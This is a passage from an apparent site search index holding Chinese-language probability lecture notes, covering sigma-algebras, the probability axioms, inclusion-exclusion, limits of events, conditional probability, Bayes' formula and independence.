3.1415929\\)\uff0c\u5176\u7cbe\u786e\u5ea6\u5df2\u7ecf\u8fbe\u5230\u5c0f\u6570\u70b9\u540e\u7b2c\u516d\u4f4d\u3002</p> <p>\u8bbe\u8ba1\u4e00\u4e2a\u968f\u673a\u8bd5\u9a8c\uff0c\u901a\u8fc7\u5927\u91cf\u91cd\u590d\u8bd5\u9a8c\u5f97\u5230\u67d0\u79cd\u7ed3\u679c\uff0c\u4ee5\u786e\u5b9a\u6211\u4eec\u611f\u5174\u8da3\u7684\u67d0\u4e2a\u91cf\uff0c\u7531\u6b64\u800c\u53d1\u5c55\u7684\u8499\u7279\u5361\u6d1b(Monte-Carlo)\u65b9\u6cd5\u4e3a\u8fd9\u79cd\u8ba1\u7b97\u63d0\u4f9b\u4e86\u4e00\u79cd\u9014\u5f84\u3002\u968f\u7740\u7535\u5b50\u8ba1\u7b97\u673a\u7684\u53d1\u5c55\uff0c\u57fa\u4e8e\u968f\u673a\u8bd5\u9a8c\u6cd5\u7684\u5185\u5bb9\uff0c\u5f97\u4f7f\u8fd9\u79cd\u65b9\u6cd5\u53d8\u5f97\u975e\u5e38\u6709\u6548\u3002</p>"},{"location":"NOTE/Probability/first/#_9","title":"\u6982\u7387\u7684\u516c\u7406\u5316\u5b9a\u4e49","text":"<p>\u628a\u6837\u672c\u7a7a\u95f4\u770b\u505a\u5168\u96c6\uff0c\u4e8b\u4ef6\u770b\u4f5c\u5305\u542b\u6837\u672c\u70b9\u7684\u96c6\u5408,\u53ef\u4ee5\u91c7\u7528\u96c6\u5408\u8bba\u7684\u65b9\u6cd5\u6765\u7814\u7a76\u4e8b\u4ef6</p> <p>\u6709\u4e8b\u4ef6\u4e4b\u95f4\u7684\u4e2d\u7684</p> <ul> <li>\u5305\u542b</li> <li>\u76f8\u7b49</li> <li>\u5e76(\u81f3\u5c11\u4e00\u4e2a\u53d1\u751f)</li> <li>\u4ea4(\u540c\u65f6\u53d1\u751f)</li> <li>\u5dee(\\(A\\) \u5dee \\(B\\),\\(A\\)\u53d1\u751f\u4f46\\(B\\)\u4e0d\u53d1\u751f\\(A\\)\u5dee\\(B = A\\overline{B}\\))</li> <li>\u4e92\u4e0d\u76f8\u5bb9($A\\cap B = \\emptyset $)</li> <li>\u4e92\u9006\u4e8b\u4ef6($A \\cap B = \\emptyset $ \u4e14 \\(A \\cup B = \\Omega\\))</li> </ul> <p>Note</p> <p>\u4e8b\u4ef6\u7684\u5173\u7cfb\u4e0e\u8fd0\u7b97\u6ee1\u8db3\u96c6\u5408\u8bba\u4e2d\u6709\u5173\u96c6\u5408\u8fd0\u7b97\u7684\u4e00\u5207\u6027\u8d28(\u4ea4\u6362\u5f8b\uff0c\u7ed3\u5408\u5f8b\uff0c\u5206\u914d\u5f8b\uff0cDe Morgan\u5f8b)</p>"},{"location":"NOTE/Probability/first/#_10","title":"\u6982\u7387\u7a7a\u95f4","text":"<p>\u7b2c\u4e00\u4e2a\u8981\u7d20\u4e3a\u6837\u672c\u7a7a\u95f4 \\(\\Omega\\)\uff0c\u662f\u6837\u672c\u70b9 \\(\\omega\\) \u7684\u5168\u4f53\uff0c\u6839\u636e\u95ee\u9898\u9700\u8981\u4e8b\u5148\u53d6\u5b9a\u3002</p> <p>\u7b2c\u4e8c\u4e2a\u8981\u7d20\u4e3a\u4e8b\u4ef6\u57df \\(\\mathrm{F}\\)\uff0c\u662f \\(\\Omega\\) \u4e2d\u67d0\u4e9b\u6ee1\u8db3\u4e0b\u5217\u6761\u4ef6\u7684\u5b50\u96c6\u7684\u5168\u4f53\u6240\u7ec4\u6210\u7684\u96c6\u7c7b\uff1a</p> <ol> <li>\\(\\Omega \\in \\mathrm{F}\\)\uff1b</li> <li>\u82e5 \\(A \\in \\mathcal{F}\\)\uff0c\u5219 \\(A^c \\in \\mathcal{F}\\)\uff1b</li> <li>\u82e5 \\(A_1, A_2, \\ldots, A_n, \\ldots \\in \\mathcal{F}\\)\uff0c\u5219 \\(\\bigcup_{n=1}^\\infty A_n \\in \\mathcal{F}\\)\u3002</li> </ol> <p>Key-point</p> <p>\u603b\u7ed3\u4e3a\u4e8b\u4ef6\u57df\u4e2d\u7684\u8fd0\u7b97\u662f\u5c01\u95ed\u7684</p> <p>\u6ee1\u8db3\u8fd9\u4e09\u4e2a\u6761\u4ef6\u7684 \\(\\mathcal{F}\\) \u79f0\u4e3a \\(\\Omega\\) \u4e0a\u7684 \\(\\sigma\\)-\u4ee3\u6570\u6216 \\(\\sigma\\)-\u57df\u3002 \\(\\mathcal{F}\\) \u4e2d\u7684\u5143\u7d20\uff08\\(\\Omega\\) \u7684\u5b50\u96c6\uff09\u79f0\u4e3a\u4e8b\u4ef6\u3002</p> <p>\u7531\u8fd9\u4e09\u4e2a\u6761\u4ef6\uff0c\u53ef\u4ee5\u63a8\u5f97\u4e8b\u4ef6\u57df\u6709\u4e0b\u5217\u6027\u8d28\uff1a</p> <ol> <li> <p>\\(\\emptyset \\in \\mathcal{F}\\) \uff08\u56e0 \\(\\emptyset = \\Omega^c\\)\uff09\uff1b</p> </li> <li> <p>\u82e5 \\(A_1, \\ldots, A_n, \\ldots \\in \\mathcal{F}\\)\uff0c\u5219 \\(\\bigcap_{n=1}^\\infty A_n \\in \\mathcal{F}\\) \uff08\u56e0 \\(\\bigcap_{n=1}^\\infty A_n = \\left( \\bigcup_{n=1}^\\infty A_n^c \\right)^c\\)\uff09\uff1b</p> </li> <li> <p>\u82e5 \\(A_1, \\ldots, A_n \\in \\mathcal{F}\\)\uff0c\u5219 \\(\\bigcup_{k=1}^n A_k \\in \\mathcal{F}\\)\uff0c\\(\\bigcap_{k=1}^n A_k \\in \\mathcal{F}\\)\u3002</p> </li> </ol> <p>\u4e8b\u4ef6\u57df\u4e5f\u53ef\u4ee5\u6839\u636e\u95ee\u9898\u9009\u62e9\u3002\u56e0\u4e3a\u5bf9\u540c\u4e00\u4e2a\u6837\u672c\u7a7a\u95f4 \\(\\Omega\\)\uff0c\u53ef\u4ee5\u6709\u5f88\u591a \\(\\sigma\\) -\u4ee3\u6570\u3002\u4f8b\u5982\u6700\u7b80\u5355\u7684\u662f  </p> \\[ \\mathcal{F}_1 = \\{ \\emptyset, \\Omega \\} \\] <p>\u590d\u6742\u7684\u5982 </p> \\[ \\mathcal{F}_2 = \\{ \\Omega \\text{\u7684\u4e00\u5207\u5b50\u96c6} \\}+ \\] <p>\u4e5f\u662f\\(\\sigma\\)-\u4ee3\u6570\uff0c\u6240\u4ee5\u8981\u9002\u5f53\u9009\u62e9\u3002\u7279\u522b\u5730\uff0c\u82e5\\(\\Omega\\)\u4e3a\u6709\u9650\u6216\u53ef\u5217\u4e2a\u6837\u672c\u70b9\u7ec4\u6210\uff0c\u5219\u5e38\u53d6\\(\\Omega\\)\u7684\u4e00\u5207\u5b50\u96c6\u6240\u6210\u7684\u96c6\u7c7b\u4f5c\u4e3a  </p> \\[ \\mathcal{F} \\] <p>\u50cf\u5728\u53e4\u5178\u6982\u7387\u4e2d\u90a3\u6837\u3002\u4e0d\u96be\u9a8c\u8bc1\uff0c\\(\\mathcal{F}\\)\u662f\\(\\sigma\\)-\u4ee3\u6570\u3002</p> <p>\u82e5 \\(\\Omega = \\mathbf{R}\\)\uff08\u4e00\u7ef4\u5b9e\u6570\u5168\u4f53\uff09\uff0c\u6b64\u65f6\u5e38\u53d6\u4e00\u5207\u5de6\u5f00\u53f3\u95ed\u6709\u754c\u533a\u95f4\u548c\u5b83\u4eec\u7684\uff08\u6709\u9650\u6216\u53ef\u5217\uff09\u5e76\u3001\uff08\u6709\u9650\u6216\u53ef\u5217\uff09\u4ea4\u3001\u9006\u6240\u6210\u7684\u96c6\u7684\u5168\u4f53\u4e3a\\(\\mathcal{F}\\)\uff08\u901a\u5e38\u8bb0\u4e3a\\(\\mathcal{B}\\)\uff09\uff0c\u79f0\u4e3a\u4e00\u7ef4\u6ce2\u96f7\u5c14\uff08Borel\uff09\\(\\sigma\\)-\u4ee3\u6570\uff0c\u5176\u4e2d\u7684\u96c6\u79f0\u4e3a\u4e00\u7ef4\u6ce2\u96f7\u5c14\u96c6\uff0c\u5b83\u662f\u6bd4\u5168\u4f53\u533a\u95f4\u5927\u5f97\u591a\u7684\u4e00\u4e2a\u96c6\u7c7b\u3002</p> <p>\u82e5\\(\\Omega = \\mathbf{R}^{n}\\)n\u7ef4\u5b9e\u6570\u5168\u4f53\uff09\uff0c\u5219\u5e38\u53d6\u4e00\u5207\u5de6\u5f00\u53f3\u95ed\u6709\u754cn\u7ef4\u77e9\u5f62\u548c\u5b83\u4eec\u7684\uff08\u6709\u9650\u6216\u53ef\u5217\uff09\u5e76\u3001\uff08\u6709\u9650\u6216\u53ef\u5217\uff09\u4ea4\u3001\u9006\u6240\u6210\u7684\u96c6\u7684\u5168\u4f53\u4e3a\\(\\mathcal{F}\\)\uff08\u901a\u5e38\u8bb0\u4e3a\\(\\mathcal{B}^n\\)\uff09\uff0c\u5b83\u5305\u542b\u4e86\u6211\u4eec\u611f\u5174\u8da3\u7684\u6240\u6709\u60c5\u5f62\uff0c\u79f0\u4e3an\u7ef4\u6ce2\u96f7\u5c14\\(\\sigma\\)-\u4ee3\u6570\u3002</p> <p>\u5982\u679c\u6211\u4eec\u5bf9\\(\\Omega\\)\u7684\u67d0\u4e2a\u5b50\u96c6\u7c7b\\(\\mathcal{C}\\)\u611f\u5174\u8da3\uff0c\u6240\u9009\u7684\u4e8b\u4ef6\u57df\\(\\mathcal{F}\\)\u53ef\u4ee5\u662f\u5305\u542b\\(\\mathcal{C}\\)\u7684\u6700\u5c0f\\(\\sigma\\)-\u4ee3\u6570\uff0c\u8fd9\u79cd\\(\\sigma\\)-\u4ee3\u6570\u662f\u5b58\u5728\u7684\uff0c\u56e0\u4e3a\uff1a</p> <ol> <li>\u81f3\u5c11\u6709\u4e00\u4e2a\u5305\u542b\\(\\mathcal{C}\\)\u7684\\(\\sigma\\)-\u4ee3\u6570\uff0c\u5373\u4e0a\u8ff0\\(\\mathcal{F}_2\\)\uff1b</li> <li>\u82e5\u6709\u5f88\u591a\u5305\u542b\\(\\mathcal{C}\\)\u7684\\(\\sigma\\)-\u4ee3\u6570\uff0c\u5219\u5b83\u4eec\u7684\u4ea4\u4e5f\u662f\\(\\sigma\\)-\u4ee3\u6570\uff0c\u4e14\u5c31\u662f\u6700\u5c0f\u7684\u3002</li> </ol> <p>\u7279\u522b\u5730\uff0c\u5982\u679c\u6211\u4eec\u53ea\u5bf9\\(\\Omega\\)\u7684\u4e00\u4e2a\u5b50\u96c6A\u611f\u5174\u8da3\uff0c\u5219\u5305\u542bA\u7684\u6700\u5c0f\\(\\sigma\\)-\u4ee3\u6570\u5c31\u662f  </p> \\[ \\mathcal{F} = \\{ \\emptyset, A, A^c, \\Omega \\}. \\] <p>Note</p> <p>\u6982\u7387\u662f\\(\\mathcal{F}\\)\u4e0a\u7684\u5b9e\u503c\u96c6\u51fd\u6570 \\(A(\\in, \\mathcal{F}) \\rightarrow P(A)\\),\u5e76\u4e14\u6ee1\u8db3\u975e\u8d1f\u6027\uff0c\u89c4\u8303\u6027\uff0c\u53ef\u5217\u53ef\u52a0\u6027\u4e09\u4e2a\u6761\u4ef6(\u516c\u7406)</p> <p>\u6ee1\u8db3\u8fd9\u4e9b\u5b9a\u4e49\u7684\u6982\u7387\u6d4b\u5ea6 \\(P\\) \u5e94\u6ee1\u8db3\u7684\u57fa\u672c\u516c\u5f0f\u6709\u4ee5\u4e0b\u5f0f\uff1a</p> <ul> <li> <p>\\(P(\\emptyset) = 0\\).</p> </li> <li> <p>\u82e5 \\(A_i; A_j = \\emptyset, \\, i, j = 1, 2, \\ldots, n, \\, i \\neq j\\), \u5219</p> </li> </ul> \\[ P \\left( \\sum_{i=1}^{n} A_i \\right) = \\sum_{i=1}^{n} P(A_i). \\] <ul> <li> <p>\\(P(A) = 1 - P(A^c)\\).</p> </li> <li> <p>\u82e5 \\(B \\subseteq A\\), \u5219 \\(P(A - B) = P(A) - P(B)\\).</p> </li> <li> <p>\\(P(A \\cup B) = P(A) + P(B) - P(AB)\\).</p> </li> <li> <p>\\(P(A \\backslash  B)=P(A) - P(AB)\\)</p> </li> <li> <p>(\u591a\u8fd8\u5c11\u8865\u5b9a\u7406\uff0c\u5bb9\u65a5\u539f\u7406)</p> </li> </ul> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_n) = \\sum_{i=1}^{n} P(A_i) - \\sum_{1 \\leqslant i &lt; j \\leqslant n} P(A_i A_j) + \\ldots + (-1)^{n-1} P(A_1 A_2 \\ldots A_n). \\] <p>\u8bc1\u660e-\u6570\u5b66\u5f52\u7eb3\u6cd5</p> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_n) = \\sum_{i=1}^{n} P(A_i) - \\sum_{1 \\leqslant i &lt; j \\leqslant n} P(A_i A_j) + \\ldots + (-1)^{n-1} P(A_1 A_2 \\ldots A_n) \\] <ul> <li>\u9a8c\u8bc1\u57fa\u4f8b \\(n = 1\\) \u5f53 \\(n = 1\\) \u65f6\uff0c\u5b9a\u7406\u53d8\u4e3a\uff1a</li> </ul> \\[ P(A_1) = P(A_1) \\] <p>\u663e\u7136\u8fd9\u662f\u6b63\u786e\u7684\uff0c\u6240\u4ee5\u57fa\u4f8b\u6210\u7acb\u3002</p> <ul> <li>\u5f52\u7eb3\u5047\u8bbe \u5047\u8bbe\u5bf9\u4e8e \\(n = k\\) \u65f6\uff0c\u5b9a\u7406\u6210\u7acb\uff0c\u5373\uff1a</li> </ul> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_k) = \\sum_{i=1}^{k} P(A_i) - \\sum_{1 \\leqslant i &lt; j \\leqslant k} P(A_i A_j) + \\ldots + (-1)^{k-1} P(A_1 A_2 \\ldots A_k) \\] <ul> <li>\u8bc1\u660e \\(n = k+1\\) \u65f6\u7684\u60c5\u5f62 \u73b0\u5728\u6211\u4eec\u9700\u8981\u8bc1\u660e\uff0c\u5f53\u6709 \\(k+1\\) \u4e2a\u4e8b\u4ef6 \\(A_1, A_2, \\ldots, A_{k+1}\\) \u65f6\uff0c\u5b9a\u7406\u540c\u6837\u6210\u7acb\u3002</li> </ul> <p>\u9996\u5148\u8003\u8651 \\(P(A_1 \\cup A_2 \\cup \\ldots \\cup A_{k+1})\\)\uff1a</p> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_{k+1}) = P((A_1 \\cup A_2 \\cup \\ldots \\cup A_k) \\cup A_{k+1}) \\] <p>\u5229\u7528\u6982\u7387\u7684\u52a0\u6cd5\u539f\u7406\uff0c\u6709\uff1a</p> \\[ P((A_1 \\cup A_2 \\cup \\ldots \\cup A_k) \\cup A_{k+1}) = P(A_1 \\cup A_2 \\cup \\ldots \\cup A_k) + P(A_{k+1}) - P((A_1 \\cup A_2 \\cup \\ldots \\cup A_k) A_{k+1}) \\] <p>\u6839\u636e\u5f52\u7eb3\u5047\u8bbe\uff0c\\(P(A_1 \\cup A_2 \\cup \\ldots \\cup A_k)\\) \u53ef\u4ee5\u5c55\u5f00\u4e3a\uff1a</p> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_k) = \\sum_{i=1}^{k} P(A_i) - \\sum_{1 \\leqslant i &lt; j \\leqslant k} P(A_i A_j) + \\ldots + (-1)^{k-1} P(A_1 A_2 \\ldots A_k) \\] <p>\u56e0\u6b64\uff0c\u539f\u5f0f\u53d8\u4e3a\uff1a</p> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_{k+1}) =  \\\\ \\left(\\sum_{i=1}^{k} P(A_i) - \\sum_{1 \\leqslant i &lt; j \\leqslant k} P(A_i A_j) + \\ldots + (-1)^{k-1} P(A_1 A_2 \\ldots A_k)\\right) + P(A_{k+1}) - P((A_1 \\cup A_2 \\cup \\ldots \\cup A_k) A_{k+1}) \\] <p>\u6ce8\u610f\uff0c\\(P((A_1 \\cup A_2 \\cup \\ldots \\cup A_k) A_{k+1})\\) \u53ef\u4ee5\u5c55\u5f00\u4e3a\uff1a</p> \\[ P((A_1 \\cup A_2 \\cup \\ldots \\cup A_k) A_{k+1}) = \\sum_{i=1}^{k} P(A_i A_{k+1}) - \\sum_{1 \\leqslant i &lt; j \\leqslant k} P(A_i A_j A_{k+1}) + \\ldots + (-1)^{k-1} P(A_1 A_2 \\ldots A_k A_{k+1}) \\] <p>\u5c06\u5176\u4ee3\u5165\u4e4b\u524d\u7684\u516c\u5f0f\u4e2d\uff0c\u5f97\u5230\uff1a</p> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_{k+1}) = \\sum_{i=1}^{k+1} P(A_i) - \\sum_{1 \\leqslant i &lt; j \\leqslant k+1} P(A_i A_j) + \\ldots + (-1)^{k} P(A_1 A_2 \\ldots A_{k+1}) \\] <p>\u8fd9\u6b63\u662f\u6211\u4eec\u9700\u8981\u8bc1\u660e\u7684 \\(n = k+1\\) \u7684\u60c5\u5f62\u3002</p> <ul> <li>(\u6b21\u53ef\u52a0\u6027)</li> </ul> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_n) \\leqslant \\sum_{i=1}^{n} P(A_i).  \\]"},{"location":"NOTE/Probability/first/#_11","title":"\u6982\u7387\u6d4b\u5ea6\u7684\u8fde\u7eed\u6027","text":"<p>\u7ed9\u5b9a\u4e00\u6982\u7387\u7a7a\u95f4 \\((\\Omega, \\mathcal{F}, P)\\)\uff0c\u5047\u8bbe \\(A_1, A_2, \\ldots\\) \u662f\u4e00\u5217\u5355\u8c03\u589e\u52a0\u7684\u4e8b\u4ef6\u5e8f\u5217\uff0c\u5373</p> \\[ A_1 \\subset A_2 \\subset \\cdots \\subset A_n \\subset \\cdots \\] <p>\u8bb0 \\(A = \\bigcup_{n=1}^{\\infty} A_n\\)\uff0c\u79f0 \\(A\\) \u4e3a \\(A_n\\) \u7684\u6781\u9650\u3002\u4ece\u516c\u7406\u5316\u5b9a\u4e49\u53ef\u4ee5\u770b\u51fa\uff0c\\(A\\) \u4ecd\u7136\u662f\u4e00\u4e2a\u4e8b\u4ef6\u3002\u4e0b\u9762\u5b9a\u7406\u7ed9\u51fa\u8be5\u4e8b\u4ef6\u7684\u6982\u7387\u5927\u5c0f\u3002</p> <p>\u5982\u679c \\(A_1, A_2, \\ldots\\) \u662f\u4e00\u5217\u5355\u8c03\u589e\u52a0\u7684\u4e8b\u4ef6\u5e8f\u5217\uff0c\u5177\u6709\u6781\u9650 \\(A\\)\uff0c\u90a3\u4e48\uff0c</p> \\[ P(A) = \\lim_{n \\to \\infty} P(A_n) . \\]"},{"location":"NOTE/Probability/first/#_12","title":"\u4e8b\u4ef6\u7684\u4e0a\u6781\u9650\u548c\u4e0b\u6781\u9650","text":"<p>\u4e8b\u4ef6\u662f\u6837\u672c\u70b9\u7684\u96c6\u5408\uff0c\u4e8b\u4ef6\u7684\u4e0a\u7ea7\u9650\u548c\u4e0b\u6781\u9650\u662f\u4e8b\u4ef6\u7684\u96c6\u5408\u7684\u6781\u9650\u3002</p> <p>\u5bf9\u4e8e\u4e00\u4e2a\u96c6\u5408\u5e8f\u5217\uff0c\u6211\u4eec\u5b9a\u4e49\u5176\u4e0a\u6781\u9650\u548c\u4e0b\u6781\u9650\u5982\u4e0b\uff1a</p> <p>Definition</p> <p>\u8bbe \\(\\{ A_n \\}_{n=1}^{\\infty}\\) \u662f\u4e00\u5217\u4e8b\u4ef6\u5e8f\u5217\uff0c\u5b9a\u4e49</p> \\[ \\limsup_{n \\to \\infty} A_n = \\bigcap_{n=1}^{\\infty} \\bigcup_{k=n}^{\\infty} A_k \\] <p>\u4e3a\u4e8b\u4ef6 \\(A_n\\) \u7684\u4e0a\u6781\u9650\uff0c\u800c</p> \\[ \\liminf_{n \\to \\infty} A_n = \\bigcup_{n=1}^{\\infty} \\bigcap_{k=n}^{\\infty} A_k \\] <p>\u4e3a\u4e8b\u4ef6 \\(A_n\\) \u7684\u4e0b\u6781\u9650\u3002</p> <p>\u5176\u5b9e\u7406\u89e3\u8d77\u6765\u4e5f\u662f\u4e0d\u56f0\u96be\u7684\uff0c\u5bf9\u4e8e\u4e0a\u6781\u9650</p> <p>\u53ef\u4ee5\u8bbe\\(B_n=\\bigcup_{k=n}^{\\infty} A_k\\)\uff0c\u5219\\(B_1\\supset B_2 \\supset \\cdots\\)\uff0c\u5373\\(B_n\\)\u662f\u5355\u8c03\u9012\u51cf\u7684(\u56e0\u4e3a\u53c2\u4e0e\u5e76\u7684\u96c6\u5408\u8d8a\u6765\u8d8a\u5c11\u4e86)\uff0c\u6211\u4eec\u53d6\u8fd9\u4e2a\u5355\u8c03\u9012\u51cf\u7684\u5e8f\u5217\u7684\u4ea4(\u4e5f\u5c31\u76f8\u5f53\u4e8e\u53d6\u6781\u9650,\u4ece\u6700\u5927\u7684\u5f00\u59cb\u4e0d\u65ad\u5254\u9664\u91cc\u9762\u591a\u4f59\u7684\u5143\u7d20)\uff0c\u5c31\u662f\u4e0a\u6781\u9650</p> <p>\u800c\u5bf9\u4e8e\u4e0b\u6781\u9650\uff0c\u6211\u4eec\u53ef\u4ee5\u8bbe\\(C_n=\\bigcap_{k=n}^{\\infty} A_k\\)\uff0c\u5219\\(C_1\\subset C_2 \\subset \\cdots\\)\uff0c\u5373\\(C_n\\)\u662f\u5355\u8c03\u9012\u589e\u7684(\u56e0\u4e3a\u53c2\u4e0e\u4ea4\u7684\u96c6\u5408\u8d8a\u6765\u8d8a\u5c11\u4e86)\uff0c\u6211\u4eec\u53d6\u8fd9\u4e2a\u5355\u8c03\u9012\u589e\u7684\u5e8f\u5217\u7684\u5e76(\u4e5f\u5c31\u76f8\u5f53\u4e8e\u53d6\u6781\u9650,\u4ece\u6700\u5c0f\u7684\u5f00\u59cb\u4e0d\u65ad\u6dfb\u52a0\u91cc\u9762\u7f3a\u5931\u7684\u5143\u7d20)\uff0c\u5c31\u662f\u4e0b\u6781\u9650</p> <p>Example</p> \\[\\begin{align*}    A_1 &amp;=\\{1,2,3\\} \\\\    A_2 &amp;=\\{2,3,4\\} \\\\    A_3 &amp;=\\{3,4\\} \\\\    A_4 &amp;=\\{2\uff0c4\\} \\\\    A_k &amp;=\\{2,3,4\\} \u6216\u8005 \\{3,4\\} \u6216\u8005 \\{2,4\\} \\enspace k \\geqslant 4 \\\\ \\end{align*}\\] <p>\u5219\u6709</p> <p>\u4e0a\u6781\u9650\uff1a\\(\\limsup_{n \\to \\infty} A_n = \\{2,3,4\\}\\)</p> <p>\u4e0b\u6781\u9650\uff1a\\(\\liminf_{n \\to \\infty} A_n = \\{4\\}\\)</p>"},{"location":"NOTE/Probability/first/#_13","title":"\u6761\u4ef6\u6982\u7387\u548c\u94fe\u5f0f\u6cd5\u5219","text":"<p>\u6761\u4ef6\u6982\u7387 \\(P(A|B)\\)</p> <p>\u4e8b\u4ef6 \\(B\\) \u53d1\u751f\u6761\u4ef6\u4e0b\u4e8b\u4ef6 \\(A\\) \u53d1\u751f\u7684\u6982\u7387\uff0c\u79f0\u4e3a\u4e8b\u4ef6 \\(A\\) \u5173\u4e8e\u4e8b\u4ef6 \\(B\\) \u7684 \u6761\u4ef6\u6982\u7387 (conditional probability) </p> <p>\u6709\u57fa\u672c\u516c\u5f0f:</p> \\[     P(A|B)=\\frac{P(AB)}{P(B)} \\] <p>\u4e5f\u53ef\u4ee5\u8868\u793a\u4e3a \u94fe\u5f0f\u6cd5\u5219(\u4e58\u6cd5\u516c\u5f0f) \u7684\u5f62\u5f0f\uff1a</p> \\[     P(AB)=P(A|B)P(B) \\] \u63a8\u5e7f\u5230 \\(n\\) \u4e2a\u4e8b\u4ef6 <p>\u63a8\u5e7f\u5230 \\(n\\) \u4e2a\u4e8b\u4ef6\uff0c\u6709\u94fe\u5f0f\u6cd5\u5219\uff1a</p> \\[     P\\left(\\prod_{i=i}^nA_i\\right)=\\prod_{i=1}^n P\\left(A_i\\bigg|\\prod_{j=1}^{i-1}A_j\\right) \\] <p>\u7279\u522b\u5b9a\u4e49 \\(a&gt;b\\) \u65f6\uff0c\\(\\prod_{i=a}^bA_i\\) \u4e3a\u5fc5\u7136\u4e8b\u4ef6\u3002</p> \\[     P\\left(A_{1} A_{2} \\cdots A_{n}\\right) =     P\\left(A_{1}\\right) \\cdot P\\left(A_{2} \\mid A_{1}\\right) \\cdot P\\left(A_{3} \\mid A_{1} A_{2}\\right) \\cdots P\\left(A_{n} \\mid A_{1} A_{2} \\cdots A_{n-1}\\right) \\]"},{"location":"NOTE/Probability/first/#_14","title":"\u5168\u6982\u7387\u516c\u5f0f","text":"<p>\u5206\u5272(\u5b8c\u5907\u4e8b\u4ef6\u7ec4)</p> <p>\u5728\u6982\u7387\u7a7a\u95f4 (\\(\\Omega, \\mathcal{F}, P\\)) \u4e2d\uff0c\u82e5\u4e8b\u4ef6 \\(\\{A_1, A_2, \\cdots, A_n\\}\\)(\\(n&lt;\\infty\\) \u6216 \\(n=\\infty\\)) \u6ee1\u8db3\uff1a</p> <ol> <li>\\(A_i\\) \u4e24\u4e24\u4e92\u4e0d\u76f8\u5bb9(\u4e0d\u53ef\u80fd\u540c\u65f6\u53d1\u751f)\uff0c\u4e14 \\(P(A_i)&gt;0\\)</li> <li> \\[\\sum_{i=1}^\\infty A_i=\\Omega\\] </li> </ol> <p>\u5219\u79f0 \\(\\{A_1, A_2, \\cdots, A_n\\}\\) \u6784\u6210 \\(\\Omega\\) \u7684\u4e00\u4e2a \u5206\u5272(\u5b8c\u5907\u4e8b\u4ef6\u7ec4)</p> <p>\u5168\u6982\u7387 (total probability) \u516c\u5f0f</p> <p>\u5728\u6982\u7387\u7a7a\u95f4 (\\(\\Omega, \\mathcal{F}, P\\)) \u4e2d\uff0c\u82e5 \\(\\{A_1, A_2, \\cdots, A_n\\}\\)(\\(n&lt;\\infty\\) \u6216 \\(n=\\infty\\)) \u6784\u6210 \\(\\Omega\\) \u7684\u4e00\u4e2a \u5206\u5272(\u5b8c\u5907\u4e8b\u4ef6\u7ec4) \uff0c</p> <p>\u5219\u6709 \u5168\u6982\u7387\u516c\u5f0f \u6210\u7acb\uff1a\\(\\forall B\\in \\mathcal{F}\\)\uff0c\u6709</p> \\[     P(B)=\\sum_{i=1}^nP(A_i)P(B|A_i) \\] Proof \\[ \\begin{aligned}     P(B)&amp;=P(B\\Omega)\\\\     &amp;=P\\left(B\\sum_{i=1}^nA_i\\right)\\\\     &amp;=P\\left(\\sum_{i=1}^nBA_i\\right)\\\\     &amp;=\\sum_{i=1}^nP(BA_i)\\\\     &amp;=\\sum_{i=1}^nP(A_i)P(B|A_i) \\end{aligned} \\]"},{"location":"NOTE/Probability/first/#_15","title":"\u8d1d\u53f6\u65af\u516c\u5f0f","text":"<p>\u8d1d\u53f6\u65af (Bayes) \u516c\u5f0f</p> \\[ P(A_i|B)=\\dfrac{P(A_i)P(B|A_i)} {\\sum_{k=1}^\\infty P(A_k)P(B|A_k)} \\] <p>Proof</p> <p>\\(P(A_i|B)=\\dfrac{P(A_iB)}{P(B)}\\)\uff0c\u5206\u5b50\u7528\u94fe\u5f0f\u6cd5\u5219\u5c55\u5f00\uff0c\u5206\u6bcd\u7528\u5168\u6982\u7387\u516c\u5f0f\u5c55\u5f00\u3002</p> <p>\u6df1\u5165\u4e86\u89e3\u6761\u4ef6\u6982\u7387\u7684\u610f\u4e49</p> <p>\\(P(A_i)\\)\uff1a\u4e0d\u77e5 \\(B\\) \u662f\u5426\u53d1\u751f\uff0c\u79f0\u4e3a \u5148\u9a8c (priori) \u6982\u7387</p> <p>\\(P(A_i|B)\\)\uff1a\u4ee5 \\(B\\) \u53d1\u751f\u4e3a\u5df2\u77e5\u6761\u4ef6\uff0c\u79f0\u4e3a \u540e\u9a8c (posteriori) \u6982\u7387</p>"},{"location":"NOTE/Probability/first/#_16","title":"\u4e8b\u4ef6\u72ec\u7acb\u6027","text":""},{"location":"NOTE/Probability/first/#_17","title":"\u4e24\u4e2a\u4e8b\u4ef6\u7684\u72ec\u7acb\u6027","text":"<p>\\(A\\) \u4e0e \\(B\\) \u76f8\u4e92\u72ec\u7acb(\u7edf\u8ba1\u72ec\u7acb)</p> <p>\u79f0\u4e8b\u4ef6 \\(A\\) \u4e0e\u4e8b\u4ef6 \\(B\\) \u76f8\u4e92\u72ec\u7acb(\u7edf\u8ba1\u72ec\u7acb\uff0cstatistical independence)\uff0c\u5982\u679c\u6ee1\u8db3</p> \\[     P(AB)=P(A)\\cdot P(B) \\] <p>\u56e0\u4e3a\u6b64\u65f6\u6709</p> \\[     P(A|B)=\\frac{P(AB)}{P(B)}=P(A) \\] <p>\u4e14</p> \\[     P(B|A)=\\frac{P(AB)}{P(A)}=P(B) \\] <p>\u5982\u679c \\(A\\) \u4e0e \\(B\\) \u4e0d\u76f8\u4e92\u72ec\u7acb\uff0c\u4e5f\u79f0\u4e3a \u7edf\u8ba1\u76f8\u4f9d (statistical dependence)</p>"},{"location":"NOTE/Probability/first/#_18","title":"\u591a\u4e2a\u4e8b\u4ef6\u7684\u72ec\u7acb\u6027","text":"<p>\u5bf9\u4e8e\u4e00\u7ec4\u4e8b\u4ef6 \\(A_1,A_2,\\cdots,A_n\\)\uff0c\u5b58\u5728\u4e24\u4e24\u72ec\u7acb\u548c\u6574\u4f53\u7684\u76f8\u4e92\u72ec\u7acb\u4e24\u79cd\u6982\u5ff5\u3002</p> <p>\u4e0d\u59a8\u5148\u4ee5\u4e09\u4e2a\u4e8b\u4ef6 \\(A,B,C\\) \u4e3a\u4f8b\u8fdb\u884c\u7814\u7a76\u3002</p> <ul> <li> <p>\u4e24\u4e24\u72ec\u7acb\uff1a\u5373 \\(A\\) \u4e0e 